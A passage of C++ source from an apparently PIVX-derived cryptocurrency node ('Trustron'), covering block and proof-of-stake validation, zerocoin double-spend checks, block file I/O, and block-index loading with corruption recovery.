AllocateFileRange(file, pos.nPos, nNewChunks * UNDOFILE_CHUNK_SIZE - pos.nPos);
fclose(file);
}
} else
return state.Error("out of disk space");
}
return true;
}
bool CheckBlockHeader(const CBlockHeader& block, CValidationState& state, bool fCheckPOW)
{
// Check proof of work matches claimed amount
if (fCheckPOW && !CheckProofOfWork(block.GetHash(), block.nBits))
return state.DoS(50, error("CheckBlockHeader() : proof of work failed"),
REJECT_INVALID, "high-hash");
return true;
}
bool CheckBlock(const CBlock& block, CValidationState& state, bool fCheckPOW, bool fCheckMerkleRoot, bool fCheckSig)
{
// These are checks that are independent of context.
// Check that the header is valid (particularly PoW). This is mostly
// redundant with the call in AcceptBlockHeader.
if (!CheckBlockHeader(block, state, fCheckPOW))
return state.DoS(100, error("CheckBlock() : CheckBlockHeader failed"),
REJECT_INVALID, "bad-header", true);
// Check timestamp
LogPrint("debug", "%s: block=%s is proof of stake=%d\n", __func__, block.GetHash().ToString().c_str(), block.IsProofOfStake());
if (block.GetBlockTime() > GetAdjustedTime() + (block.IsProofOfStake() ? 180 : 7200)) // 3 minute future drift for PoS
return state.Invalid(error("CheckBlock() : block timestamp too far in the future"),
REJECT_INVALID, "time-too-new");
// Check the merkle root.
if (fCheckMerkleRoot) {
bool mutated;
uint256 hashMerkleRoot2 = block.BuildMerkleTree(&mutated);
if (block.hashMerkleRoot != hashMerkleRoot2)
return state.DoS(100, error("CheckBlock() : hashMerkleRoot mismatch"),
REJECT_INVALID, "bad-txnmrklroot", true);
// Check for merkle tree malleability (CVE-2012-2459): repeating sequences
// of transactions in a block without affecting the merkle root of a block,
// while still invalidating it.
if (mutated)
return state.DoS(100, error("CheckBlock() : duplicate transaction"),
REJECT_INVALID, "bad-txns-duplicate", true);
}
// All potential-corruption validation must be done before we do any
// transaction validation, as otherwise we may mark the header as invalid
// because we receive the wrong transactions for it.
// Size limits
unsigned int nMaxBlockSize = MAX_BLOCK_SIZE_CURRENT;
if (block.vtx.empty() || block.vtx.size() > nMaxBlockSize || ::GetSerializeSize(block, SER_NETWORK, PROTOCOL_VERSION) > nMaxBlockSize)
return state.DoS(100, error("CheckBlock() : size limits failed"),
REJECT_INVALID, "bad-blk-length");
// First transaction must be coinbase, the rest must not be
if (block.vtx.empty() || !block.vtx[0].IsCoinBase())
return state.DoS(100, error("CheckBlock() : first tx is not coinbase"),
REJECT_INVALID, "bad-cb-missing");
for (unsigned int i = 1; i < block.vtx.size(); i++)
if (block.vtx[i].IsCoinBase())
return state.DoS(100, error("CheckBlock() : more than one coinbase"),
REJECT_INVALID, "bad-cb-multiple");
if (block.IsProofOfStake()) {
// Coinbase output should be empty if proof-of-stake block
if (block.vtx[0].vout.size() != 1 || !block.vtx[0].vout[0].IsEmpty())
return state.DoS(100, error("CheckBlock() : coinbase output not empty for proof-of-stake block"));
// Second transaction must be coinstake, the rest must not be
if (block.vtx.empty() || !block.vtx[1].IsCoinStake())
return state.DoS(100, error("CheckBlock() : second tx is not coinstake"));
for (unsigned int i = 2; i < block.vtx.size(); i++)
if (block.vtx[i].IsCoinStake())
return state.DoS(100, error("CheckBlock() : more than one coinstake"));
}
// ----------- swiftTX transaction scanning -----------
if (IsSporkActive(SPORK_3_SWIFTTX_BLOCK_FILTERING)) {
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
if (!tx.IsCoinBase()) {
//only reject blocks when it's based on complete consensus
BOOST_FOREACH (const CTxIn& in, tx.vin) {
if (mapLockedInputs.count(in.prevout)) {
if (mapLockedInputs[in.prevout] != tx.GetHash()) {
mapRejectedBlocks.insert(make_pair(block.GetHash(), GetTime()));
LogPrintf("CheckBlock() : found conflicting transaction with transaction lock %s %s\n", mapLockedInputs[in.prevout].ToString(), tx.GetHash().ToString());
return state.DoS(0, error("CheckBlock() : found conflicting transaction with transaction lock"),
REJECT_INVALID, "conflicting-tx-ix");
}
}
}
}
}
} else {
LogPrintf("CheckBlock() : skipping transaction locking checks\n");
}
// masternode payments / budgets and zerocoin check
CBlockIndex* pindexPrev = chainActive.Tip();
int nHeight = 0;
if (pindexPrev != NULL) {
if (pindexPrev->GetBlockHash() == block.hashPrevBlock) {
nHeight = pindexPrev->nHeight + 1;
} else { //out of order
BlockMap::iterator mi = mapBlockIndex.find(block.hashPrevBlock);
if (mi != mapBlockIndex.end() && (*mi).second)
nHeight = (*mi).second->nHeight + 1;
}
// Version 4 header must be used after Params().Zerocoin_StartHeight(). And never before.
if (nHeight > Params().Zerocoin_StartHeight()) {
if(block.nVersion < Params().Zerocoin_HeaderVersion())
return state.DoS(50, error("CheckBlockHeader() : block version must be above 4 after ZerocoinStartHeight"),
REJECT_INVALID, "block-version");
}
// Trustron
// It is entierly possible that we don't have enough data and this could fail
// (i.e. the block could indeed be valid). Store the block for later consideration
// but issue an initial reject message.
// The case also exists that the sending peer could not have enough data to see
// that this block is invalid, so don't issue an outright ban.
if (nHeight != 0 && !IsInitialBlockDownload()) {
if (!IsBlockPayeeValid(block, nHeight)) {
mapRejectedBlocks.insert(make_pair(block.GetHash(), GetTime()));
return state.DoS(0, error("CheckBlock() : Couldn't find masternode/budget payment"),
REJECT_INVALID, "bad-cb-payee");
}
} else {
if (fDebug)
LogPrintf("CheckBlock(): Masternode payment check skipped on sync - skipping IsBlockPayeeValid()\n");
}
}
// Check transactions
bool fZerocoinActive = true;
vector<CBigNum> vBlockSerials;
for (const CTransaction& tx : block.vtx) {
if (!CheckTransaction(tx, fZerocoinActive, chainActive.Height() + 1 >= Params().Zerocoin_StartHeight(), state))
return error("CheckBlock() : CheckTransaction failed");
// double check that there are no double spent zTrustron spends in this block
if (tx.IsZerocoinSpend()) {
for (const CTxIn txIn : tx.vin) {
if (txIn.scriptSig.IsZerocoinSpend()) {
libzerocoin::CoinSpend spend = TxInToZerocoinSpend(txIn);
if (count(vBlockSerials.begin(), vBlockSerials.end(), spend.getCoinSerialNumber()))
return state.DoS(100, error("%s : Double spending of zTrustron serial %s in block\n Block: %s",
__func__, spend.getCoinSerialNumber().GetHex(), block.ToString()));
vBlockSerials.emplace_back(spend.getCoinSerialNumber());
}
}
}
}
unsigned int nSigOps = 0;
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
nSigOps += GetLegacySigOpCount(tx);
}
unsigned int nMaxBlockSigOps = fZerocoinActive ? MAX_BLOCK_SIGOPS_CURRENT : MAX_BLOCK_SIGOPS_LEGACY;
if (nSigOps > nMaxBlockSigOps)
return state.DoS(100, error("CheckBlock() : out-of-bounds SigOpCount"),
REJECT_INVALID, "bad-blk-sigops", true);
return true;
}
bool CheckWork(const CBlock block, CBlockIndex* const pindexPrev)
{
if (pindexPrev == NULL)
return error("%s : null pindexPrev for block %s", __func__, block.GetHash().ToString().c_str());
unsigned int nBitsRequired = GetNextWorkRequired(pindexPrev, &block);
if (block.IsProofOfWork() && (pindexPrev->nHeight + 1 <= 68589)) {
double n1 = ConvertBitsToDouble(block.nBits);
double n2 = ConvertBitsToDouble(nBitsRequired);
if (abs(n1 - n2) > n1 * 0.5)
return error("%s : incorrect proof of work (DGW pre-fork) - %f %f %f at %d", __func__, abs(n1 - n2), n1, n2, pindexPrev->nHeight + 1);
return true;
}
if (block.nBits != nBitsRequired)
return error("%s : incorrect proof of work at %d", __func__, pindexPrev->nHeight + 1);
if (block.IsProofOfStake()) {
uint256 hashProofOfStake;
uint256 hash = block.GetHash();
if(!CheckProofOfStake(block, hashProofOfStake)) {
LogPrintf("WARNING: ProcessBlock(): check proof-of-stake failed for block %s\n", hash.ToString().c_str());
return false;
}
if(!mapProofOfStake.count(hash)) // add to mapProofOfStake
mapProofOfStake.insert(make_pair(hash, hashProofOfStake));
}
return true;
}
bool ContextualCheckBlockHeader(const CBlockHeader& block, CValidationState& state, CBlockIndex* const pindexPrev)
{
uint256 hash = block.GetHash();
if (hash == Params().HashGenesisBlock())
return true;
assert(pindexPrev);
int nHeight = pindexPrev->nHeight + 1;
//If this is a reorg, check that it is not too deep
int nMaxReorgDepth = GetArg("-maxreorg", Params().MaxReorganizationDepth());
if (chainActive.Height() - nHeight >= nMaxReorgDepth)
return state.DoS(1, error("%s: forked chain older than max reorganization depth (height %d)", __func__, nHeight));
// Check timestamp against prev
if (block.GetBlockTime() <= pindexPrev->GetMedianTimePast()) {
LogPrintf("Block time = %d , GetMedianTimePast = %d \n", block.GetBlockTime(), pindexPrev->GetMedianTimePast());
return state.Invalid(error("%s : block's timestamp is too early", __func__),
REJECT_INVALID, "time-too-old");
}
// Check that the block chain matches the known block chain up to a checkpoint
if (!Checkpoints::CheckBlock(nHeight, hash))
return state.DoS(100, error("%s : rejected by checkpoint lock-in at %d", __func__, nHeight),
REJECT_CHECKPOINT, "checkpoint mismatch");
// Don't accept any forks from the main chain prior to last checkpoint
CBlockIndex* pcheckpoint = Checkpoints::GetLastCheckpoint();
if (pcheckpoint && nHeight < pcheckpoint->nHeight)
return state.DoS(0, error("%s : forked chain older than last checkpoint (height %d)", __func__, nHeight));
return true;
}
bool IsBlockHashInChain(const uint256& hashBlock)
{
if (hashBlock == 0 || !mapBlockIndex.count(hashBlock))
return false;
return chainActive.Contains(mapBlockIndex[hashBlock]);
}
bool IsTransactionInChain(uint256 txId, int& nHeightTx)
{
uint256 hashBlock;
CTransaction tx;
GetTransaction(txId, tx, hashBlock, true);
if (!IsBlockHashInChain(hashBlock))
return false;
nHeightTx = mapBlockIndex.at(hashBlock)->nHeight;
return true;
}
bool ContextualCheckBlock(const CBlock& block, CValidationState& state, CBlockIndex* const pindexPrev)
{
const int nHeight = pindexPrev == NULL ? 0 : pindexPrev->nHeight + 1;
// Check that all transactions are finalized
BOOST_FOREACH (const CTransaction& tx, block.vtx)
if (!IsFinalTx(tx, nHeight, block.GetBlockTime())) {
return state.DoS(10, error("%s : contains a non-final transaction", __func__), REJECT_INVALID, "bad-txns-nonfinal");
}
return true;
}
bool AcceptBlockHeader(const CBlock& block, CValidationState& state, CBlockIndex** ppindex)
{
AssertLockHeld(cs_main);
// Check for duplicate
uint256 hash = block.GetHash();
BlockMap::iterator miSelf = mapBlockIndex.find(hash);
CBlockIndex* pindex = NULL;
// TODO : ENABLE BLOCK CACHE IN SPECIFIC CASES
if (miSelf != mapBlockIndex.end()) {
// Block header is already known.
pindex = miSelf->second;
if (ppindex)
*ppindex = pindex;
if (pindex->nStatus & BLOCK_FAILED_MASK)
return state.Invalid(error("%s : block is marked invalid", __func__), 0, "duplicate");
return true;
}
if (!CheckBlockHeader(block, state, false)) {
LogPrintf("AcceptBlockHeader(): CheckBlockHeader failed \n");
return false;
}
// Get prev block index
CBlockIndex* pindexPrev = NULL;
if (hash != Params().HashGenesisBlock()) {
BlockMap::iterator mi = mapBlockIndex.find(block.hashPrevBlock);
if (mi == mapBlockIndex.end())
return state.DoS(0, error("%s : prev block %s not found", __func__, block.hashPrevBlock.ToString().c_str()), 0, "bad-prevblk");
pindexPrev = (*mi).second;
if (pindexPrev->nStatus & BLOCK_FAILED_MASK)
return state.DoS(100, error("%s : prev block %s is invalid, unable to add block %s", __func__, block.hashPrevBlock.GetHex(), block.GetHash().GetHex()),
REJECT_INVALID, "bad-prevblk");
}
if (!ContextualCheckBlockHeader(block, state, pindexPrev))
return false;
if (pindex == NULL)
pindex = AddToBlockIndex(block);
if (ppindex)
*ppindex = pindex;
return true;
}
bool AcceptBlock(CBlock& block, CValidationState& state, CBlockIndex** ppindex, CDiskBlockPos* dbp, bool fAlreadyCheckedBlock)
{
AssertLockHeld(cs_main);
CBlockIndex*& pindex = *ppindex;
// Get prev block index
CBlockIndex* pindexPrev = NULL;
if (block.GetHash() != Params().HashGenesisBlock()) {
BlockMap::iterator mi = mapBlockIndex.find(block.hashPrevBlock);
if (mi == mapBlockIndex.end())
return state.DoS(0, error("%s : prev block %s not found", __func__, block.hashPrevBlock.ToString().c_str()), 0, "bad-prevblk");
pindexPrev = (*mi).second;
if (pindexPrev->nStatus & BLOCK_FAILED_MASK)
return state.DoS(100, error("%s : prev block %s is invalid, unable to add block %s", __func__, block.hashPrevBlock.GetHex(), block.GetHash().GetHex()),
REJECT_INVALID, "bad-prevblk");
}
if (block.GetHash() != Params().HashGenesisBlock() && !CheckWork(block, pindexPrev))
return false;
if (!AcceptBlockHeader(block, state, &pindex))
return false;
if (pindex->nStatus & BLOCK_HAVE_DATA) {
// TODO: deal better with duplicate blocks.
// return state.DoS(20, error("AcceptBlock() : already have block %d %s", pindex->nHeight, pindex->GetBlockHash().ToString()), REJECT_DUPLICATE, "duplicate");
return true;
}
if ((!fAlreadyCheckedBlock && !CheckBlock(block, state)) || !ContextualCheckBlock(block, state, pindex->pprev)) {
if (state.IsInvalid() && !state.CorruptionPossible()) {
pindex->nStatus |= BLOCK_FAILED_VALID;
setDirtyBlockIndex.insert(pindex);
}
return false;
}
int nHeight = pindex->nHeight;
// Write block to history file
try {
unsigned int nBlockSize = ::GetSerializeSize(block, SER_DISK, CLIENT_VERSION);
CDiskBlockPos blockPos;
if (dbp != NULL)
blockPos = *dbp;
if (!FindBlockPos(state, blockPos, nBlockSize + 8, nHeight, block.GetBlockTime(), dbp != NULL))
return error("AcceptBlock() : FindBlockPos failed");
if (dbp == NULL)
if (!WriteBlockToDisk(block, blockPos))
return state.Abort("Failed to write block");
if (!ReceivedBlockTransactions(block, state, pindex, blockPos))
return error("AcceptBlock() : ReceivedBlockTransactions failed");
} catch (std::runtime_error& e) {
return state.Abort(std::string("System error: ") + e.what());
}
return true;
}
bool CBlockIndex::IsSuperMajority(int minVersion, const CBlockIndex* pstart, unsigned int nRequired)
{
unsigned int nToCheck = Params().ToCheckBlockUpgradeMajority();
unsigned int nFound = 0;
for (unsigned int i = 0; i < nToCheck && nFound < nRequired && pstart != NULL; i++) {
if (pstart->nVersion >= minVersion)
++nFound;
pstart = pstart->pprev;
}
return (nFound >= nRequired);
}
/** Turn the lowest '1' bit in the binary representation of a number into a '0'. */
int static inline InvertLowestOne(int n) { return n & (n - 1); }
/** Compute what height to jump back to with the CBlockIndex::pskip pointer. */
int static inline GetSkipHeight(int height)
{
if (height < 2)
return 0;
// Determine which height to jump back to. Any number strictly lower than height is acceptable,
// but the following expression seems to perform well in simulations (max 110 steps to go back
// up to 2**18 blocks).
return (height & 1) ? InvertLowestOne(InvertLowestOne(height - 1)) + 1 : InvertLowestOne(height);
}
CBlockIndex* CBlockIndex::GetAncestor(int height)
{
if (height > nHeight || height < 0)
return NULL;
CBlockIndex* pindexWalk = this;
int heightWalk = nHeight;
while (heightWalk > height) {
int heightSkip = GetSkipHeight(heightWalk);
int heightSkipPrev = GetSkipHeight(heightWalk - 1);
if (heightSkip == height ||
(heightSkip > height && !(heightSkipPrev < heightSkip - 2 && heightSkipPrev >= height))) {
// Only follow pskip if pprev->pskip isn't better than pskip->pprev.
pindexWalk = pindexWalk->pskip;
heightWalk = heightSkip;
} else {
pindexWalk = pindexWalk->pprev;
heightWalk--;
}
}
return pindexWalk;
}
const CBlockIndex* CBlockIndex::GetAncestor(int height) const
{
return const_cast<CBlockIndex*>(this)->GetAncestor(height);
}
void CBlockIndex::BuildSkip()
{
if (pprev)
pskip = pprev->GetAncestor(GetSkipHeight(nHeight));
}
bool ProcessNewBlock(CValidationState& state, CNode* pfrom, CBlock* pblock, CDiskBlockPos* dbp)
{
// Preliminary checks
int64_t nStartTime = GetTimeMillis();
bool checked = CheckBlock(*pblock, state);
int nMints = 0;
int nSpends = 0;
for (const CTransaction tx : pblock->vtx) {
if (tx.ContainsZerocoins()) {
for (const CTxIn in : tx.vin) {
if (in.scriptSig.IsZerocoinSpend())
nSpends++;
}
for (const CTxOut out : tx.vout) {
if (out.IsZerocoinMint())
nMints++;
}
}
}
if (nMints || nSpends)
LogPrintf("%s : block contains %d zTrustron mints and %d zTrustron spends\n", __func__, nMints, nSpends);
// ppcoin: check proof-of-stake
// Limited duplicity on stake: prevents block flood attack
// Duplicate stake allowed only when there is orphan child block
//if (pblock->IsProofOfStake() && setStakeSeen.count(pblock->GetProofOfStake())/* && !mapOrphanBlocksByPrev.count(hash)*/)
// return error("ProcessNewBlock() : duplicate proof-of-stake (%s, %d) for block %s", pblock->GetProofOfStake().first.ToString().c_str(), pblock->GetProofOfStake().second, pblock->GetHash().ToString().c_str());
// NovaCoin: check proof-of-stake block signature
if (!pblock->CheckBlockSignature())
return error("ProcessNewBlock() : bad proof-of-stake block signature");
if (pblock->GetHash() != Params().HashGenesisBlock() && pfrom != NULL) {
//if we get this far, check if the prev block is our prev block, if not then request sync and return false
BlockMap::iterator mi = mapBlockIndex.find(pblock->hashPrevBlock);
if (mi == mapBlockIndex.end()) {
pfrom->PushMessage("getblocks", chainActive.GetLocator(), uint256(0));
return false;
}
}
{
LOCK(cs_main); // Replaces the former TRY_LOCK loop because busy waiting wastes too much resources
MarkBlockAsReceived (pblock->GetHash ());
if (!checked) {
return error ("%s : CheckBlock FAILED for block %s", __func__, pblock->GetHash().GetHex());
}
// Store to disk
CBlockIndex* pindex = NULL;
bool ret = AcceptBlock (*pblock, state, &pindex, dbp, checked);
if (pindex && pfrom) {
mapBlockSource[pindex->GetBlockHash ()] = pfrom->GetId ();
}
CheckBlockIndex ();
if (!ret)
return error ("%s : AcceptBlock FAILED", __func__);
}
if (!ActivateBestChain(state, pblock, checked))
return error("%s : ActivateBestChain failed", __func__);
if (!fLiteMode) {
if (masternodeSync.RequestedMasternodeAssets > MASTERNODE_SYNC_LIST) {
obfuScationPool.NewBlock();
masternodePayments.ProcessBlock(GetHeight() + 10);
budget.NewBlock();
}
}
if (pwalletMain) {
// If turned on MultiSend will send a transaction (or more) on the after maturity of a stake
if (pwalletMain->isMultiSendEnabled())
pwalletMain->MultiSend();
// If turned on Auto Combine will scan wallet for dust to combine
if (pwalletMain->fCombineDust)
pwalletMain->AutoCombineDust();
}
LogPrintf("%s : ACCEPTED in %ld milliseconds with size=%d\n", __func__, GetTimeMillis() - nStartTime,
pblock->GetSerializeSize(SER_DISK, CLIENT_VERSION));
return true;
}
bool TestBlockValidity(CValidationState& state, const CBlock& block, CBlockIndex* const pindexPrev, bool fCheckPOW, bool fCheckMerkleRoot)
{
AssertLockHeld(cs_main);
assert(pindexPrev == chainActive.Tip());
CCoinsViewCache viewNew(pcoinsTip);
CBlockIndex indexDummy(block);
indexDummy.pprev = pindexPrev;
indexDummy.nHeight = pindexPrev->nHeight + 1;
// NOTE: CheckBlockHeader is called by CheckBlock
if (!ContextualCheckBlockHeader(block, state, pindexPrev))
return false;
if (!CheckBlock(block, state, fCheckPOW, fCheckMerkleRoot))
return false;
if (!ContextualCheckBlock(block, state, pindexPrev))
return false;
if (!ConnectBlock(block, state, &indexDummy, viewNew, true))
return false;
assert(state.IsValid());
return true;
}
bool AbortNode(const std::string& strMessage, const std::string& userMessage)
{
strMiscWarning = strMessage;
LogPrintf("*** %s\n", strMessage);
uiInterface.ThreadSafeMessageBox(
userMessage.empty() ? _("Error: A fatal internal error occured, see debug.log for details") : userMessage,
"", CClientUIInterface::MSG_ERROR);
StartShutdown();
return false;
}
bool CheckDiskSpace(uint64_t nAdditionalBytes)
{
uint64_t nFreeBytesAvailable = filesystem::space(GetDataDir()).available;
// Check for nMinDiskSpace bytes (currently 50MB)
if (nFreeBytesAvailable < nMinDiskSpace + nAdditionalBytes)
return AbortNode("Disk space is low!", _("Error: Disk space is low!"));
return true;
}
FILE* OpenDiskFile(const CDiskBlockPos& pos, const char* prefix, bool fReadOnly)
{
if (pos.IsNull())
return NULL;
boost::filesystem::path path = GetBlockPosFilename(pos, prefix);
boost::filesystem::create_directories(path.parent_path());
FILE* file = fopen(path.string().c_str(), "rb+");
if (!file && !fReadOnly)
file = fopen(path.string().c_str(), "wb+");
if (!file) {
LogPrintf("Unable to open file %s\n", path.string());
return NULL;
}
if (pos.nPos) {
if (fseek(file, pos.nPos, SEEK_SET)) {
LogPrintf("Unable to seek to position %u of %s\n", pos.nPos, path.string());
fclose(file);
return NULL;
}
}
return file;
}
FILE* OpenBlockFile(const CDiskBlockPos& pos, bool fReadOnly)
{
return OpenDiskFile(pos, "blk", fReadOnly);
}
FILE* OpenUndoFile(const CDiskBlockPos& pos, bool fReadOnly)
{
return OpenDiskFile(pos, "rev", fReadOnly);
}
boost::filesystem::path GetBlockPosFilename(const CDiskBlockPos& pos, const char* prefix)
{
return GetDataDir() / "blocks" / strprintf("%s%05u.dat", prefix, pos.nFile);
}
CBlockIndex* InsertBlockIndex(uint256 hash)
{
if (hash == 0)
return NULL;
// Return existing
BlockMap::iterator mi = mapBlockIndex.find(hash);
if (mi != mapBlockIndex.end())
return (*mi).second;
// Create new
CBlockIndex* pindexNew = new CBlockIndex();
if (!pindexNew)
throw runtime_error("LoadBlockIndex() : new CBlockIndex failed");
mi = mapBlockIndex.insert(make_pair(hash, pindexNew)).first;
//mark as PoS seen
if (pindexNew->IsProofOfStake())
setStakeSeen.insert(make_pair(pindexNew->prevoutStake, pindexNew->nStakeTime));
pindexNew->phashBlock = &((*mi).first);
return pindexNew;
}
bool static LoadBlockIndexDB()
{
if (!pblocktree->LoadBlockIndexGuts())
return false;
boost::this_thread::interruption_point();
// Calculate nChainWork
vector<pair<int, CBlockIndex*> > vSortedByHeight;
vSortedByHeight.reserve(mapBlockIndex.size());
BOOST_FOREACH (const PAIRTYPE(uint256, CBlockIndex*) & item, mapBlockIndex) {
CBlockIndex* pindex = item.second;
vSortedByHeight.push_back(make_pair(pindex->nHeight, pindex));
}
sort(vSortedByHeight.begin(), vSortedByHeight.end());
BOOST_FOREACH (const PAIRTYPE(int, CBlockIndex*) & item, vSortedByHeight) {
CBlockIndex* pindex = item.second;
pindex->nChainWork = (pindex->pprev ? pindex->pprev->nChainWork : 0) + GetBlockProof(*pindex);
if (pindex->nStatus & BLOCK_HAVE_DATA) {
if (pindex->pprev) {
if (pindex->pprev->nChainTx) {
pindex->nChainTx = pindex->pprev->nChainTx + pindex->nTx;
} else {
pindex->nChainTx = 0;
mapBlocksUnlinked.insert(std::make_pair(pindex->pprev, pindex));
}
} else {
pindex->nChainTx = pindex->nTx;
}
}
if (pindex->IsValid(BLOCK_VALID_TRANSACTIONS) && (pindex->nChainTx || pindex->pprev == NULL))
setBlockIndexCandidates.insert(pindex);
if (pindex->nStatus & BLOCK_FAILED_MASK && (!pindexBestInvalid || pindex->nChainWork > pindexBestInvalid->nChainWork))
pindexBestInvalid = pindex;
if (pindex->pprev)
pindex->BuildSkip();
if (pindex->IsValid(BLOCK_VALID_TREE) && (pindexBestHeader == NULL || CBlockIndexWorkComparator()(pindexBestHeader, pindex)))
pindexBestHeader = pindex;
}
// Load block file info
pblocktree->ReadLastBlockFile(nLastBlockFile);
vinfoBlockFile.resize(nLastBlockFile + 1);
LogPrintf("%s: last block file = %i\n", __func__, nLastBlockFile);
for (int nFile = 0; nFile <= nLastBlockFile; nFile++) {
pblocktree->ReadBlockFileInfo(nFile, vinfoBlockFile[nFile]);
}
LogPrintf("%s: last block file info: %s\n", __func__, vinfoBlockFile[nLastBlockFile].ToString());
for (int nFile = nLastBlockFile + 1; true; nFile++) {
CBlockFileInfo info;
if (pblocktree->ReadBlockFileInfo(nFile, info)) {
vinfoBlockFile.push_back(info);
} else {
break;
}
}
// Check presence of blk files
LogPrintf("Checking all blk files are present...\n");
set<int> setBlkDataFiles;
BOOST_FOREACH (const PAIRTYPE(uint256, CBlockIndex*) & item, mapBlockIndex) {
CBlockIndex* pindex = item.second;
if (pindex->nStatus & BLOCK_HAVE_DATA) {
setBlkDataFiles.insert(pindex->nFile);
}
}
for (std::set<int>::iterator it = setBlkDataFiles.begin(); it != setBlkDataFiles.end(); it++) {
CDiskBlockPos pos(*it, 0);
if (CAutoFile(OpenBlockFile(pos, true), SER_DISK, CLIENT_VERSION).IsNull()) {
return false;
}
}
//Check if the shutdown procedure was followed on last client exit
bool fLastShutdownWasPrepared = true;
pblocktree->ReadFlag("shutdown", fLastShutdownWasPrepared);
LogPrintf("%s: Last shutdown was prepared: %s\n", __func__, fLastShutdownWasPrepared);
//Check for inconsistency with block file info and internal state
if (!fLastShutdownWasPrepared && !GetBoolArg("-forcestart", false) && !GetBoolArg("-reindex", false) && (vSortedByHeight.size() != vinfoBlockFile[nLastBlockFile].nHeightLast + 1) && (vinfoBlockFile[nLastBlockFile].nHeightLast != 0)) {
//The database is in a state where a block has been accepted and written to disk, but not
//all of the block has perculated through the code. The block and the index should both be
//intact (although assertions are added if they are not), and the block will be reprocessed
//to ensure all data will be accounted for.
LogPrintf("%s: Inconsistent State Detected mapBlockIndex.size()=%d blockFileBlocks=%d\n", __func__, vSortedByHeight.size(), vinfoBlockFile[nLastBlockFile].nHeightLast + 1);
LogPrintf("%s: lastIndexPos=%d blockFileSize=%d\n", __func__, vSortedByHeight[vSortedByHeight.size() - 1].second->GetBlockPos().nPos,
vinfoBlockFile[nLastBlockFile].nSize);
//try reading the block from the last index we have
bool isFixed = true;
string strError = "";
LogPrintf("%s: Attempting to re-add last block that was recorded to disk\n", __func__);
//get the last block that was properly recorded to the block info file
CBlockIndex* pindexLastMeta = vSortedByHeight[vinfoBlockFile[nLastBlockFile].nHeightLast + 1].second;
//fix Assertion `hashPrevBlock == view.GetBestBlock()' failed. By adjusting height to the last recorded by coinsview
CBlockIndex* pindexCoinsView = mapBlockIndex[pcoinsTip->GetBestBlock()];
for(unsigned int i = vinfoBlockFile[nLastBlockFile].nHeightLast + 1; i < vSortedByHeight.size(); i++)
{
pindexLastMeta = vSortedByHeight[i].second;
if(pindexLastMeta->nHeight > pindexCoinsView->nHeight)
break;
}
LogPrintf("%s: Last block properly recorded: #%d %s\n", __func__, pindexLastMeta->nHeight, pindexLastMeta->GetBlockHash().ToString().c_str());
CBlock lastMetaBlock;
if (!ReadBlockFromDisk(lastMetaBlock, pindexLastMeta)) {
isFixed = false;
strError = strprintf("failed to read block %d from disk", pindexLastMeta->nHeight);
}
//set the chain to the block before lastMeta so that the meta block will be seen as new
chainActive.SetTip(pindexLastMeta->pprev);
//Process the lastMetaBlock again, using the known location on disk
CDiskBlockPos blockPos = pindexLastMeta->GetBlockPos();
CValidationState state;
ProcessNewBlock(state, NULL, &lastMetaBlock, &blockPos);
//ensure that everything is as it should be
if (pcoinsTip->GetBestBlock() != vSortedByHeight[vSortedByHeight.size() - 1].second->GetBlockHash()) {
isFixed = false;
strError = "pcoinsTip best block is not correct";
}
//properly account for all of the blocks that were not in the meta data. If this is not done the file
//positioning will be wrong and blocks will be overwritten and later cause serialization errors
CBlockIndex *pindexLast = vSortedByHeight[vSortedByHeight.size() - 1].second;
CBlock lastBlock;
if (!ReadBlockFromDisk(lastBlock, pindexLast)) {
isFixed = false;
strError = strprintf("failed to read block %d from disk", pindexLast->nHeight);
}
vinfoBlockFile[nLastBlockFile].nHeightLast = pindexLast->nHeight;
vinfoBlockFile[nLastBlockFile].nSize = pindexLast->GetBlockPos().nPos + ::GetSerializeSize(lastBlock, SER_DISK, CLIENT_VERSION);;
setDirtyFileInfo.insert(nLastBlockFile);
FlushStateToDisk(state, FLUSH_STATE_ALWAYS);
//Print out file info again
pblocktree->ReadLastBlockFile(nLastBlockFile);
vinfoBlockFile.resize(nLastBlockFile + 1);
LogPrintf("%s: last block file = %i\n", __func__, nLastBlockFile);
for (int nFile = 0; nFile <= nLastBlockFile; nFile++) {
pblocktree->ReadBlockFileInfo(nFile, vinfoBlockFile[nFile]);
}
LogPrintf("%s: last block file info: %s\n", __func__, vinfoBlockFile[nLastBlockFile].ToString());
if (!isFixed) {
strError = "Failed reading from database. " + strError + ". The block database is in an inconsistent state and may cause issues in the future."
"To force start use -forcestart";
uiInterface.ThreadSafeMessageBox(strError, "", CClientUIInterface::MSG_ERROR);
abort();
}
LogPrintf("Passed corruption fix\n");
}
// Check whether we need to continue reindexing
bool fReindexing = false;
pblocktree->ReadReindexing(fReindexing);
fReindex |= fReindexing;
// Check whether we have a transaction index
pblocktree->ReadFlag("txindex", fTxIndex);
LogPrintf("LoadBlockIndexDB(): transaction index %s\n", fTxIndex ? "enabled" : "disabled");
// If this is written true before the next client init, then we know the shutdown process failed
pblocktree->WriteFlag("shutdown", false);
// Load pointer to end of best chain
BlockMap::iterator it = mapBlockIndex.find(pcoinsTip->GetBestBlock());
if (it == mapBlockIndex.end())
return true;
chainActive.SetTip(it->second);
PruneBlockIndexCandidates();
LogPrintf("LoadBlockIndexDB(): hashBestChain=%s height=%d date=%s progress=%f\n",
chainActive.Tip()->GetBlockHash().ToString(), chainActive.Height(),
DateTimeStrFormat("%Y-%m-%d %H:%M:%S", chainActive.Tip()->GetBlockTime()),
Checkpoints::GuessVerificationProgress(chainActive.Tip()));
return true;
}
CVerifyDB::CVerifyDB()
{
uiInterface.ShowProgress(_("Verifying blocks..."), 0);
}
CVerifyDB::~CVerifyDB()
{
uiInterface.ShowProgress("", 100);
}
bool CVerifyDB::VerifyDB(CCoinsView* coinsview, int nCheckLevel, int nCheckDepth)
{
LOCK(cs_main);
if (chainActive.Tip() == NULL || chainActive.Tip()->pprev == NULL)
return true;
// Verify blocks in the best chain
if (nCheckDepth <= 0)
nCheckDepth = 1000000000; // suffices until the year 19000
if (nCheckDepth > chainActive.Height())
nCheckDepth = chainActive.Height();
nCheckLevel = std::max(0, std::min(4, nCheckLevel));
LogPrintf("Verifying last %i blocks at level %i\n", nCheckDepth, nCheckLevel);
CCoinsViewCache coins(coinsview);
CBlockIndex* pindexState = chainActive.Tip();
CBlockIndex* pindexFailure = NULL;
int nGoodTransactions = 0;
CValidationState state;
for (CBlockIndex* pindex = chainActive.Tip(); pindex && pindex->pprev; pindex = pindex->pprev) {
boost::this_thread::interruption_point();
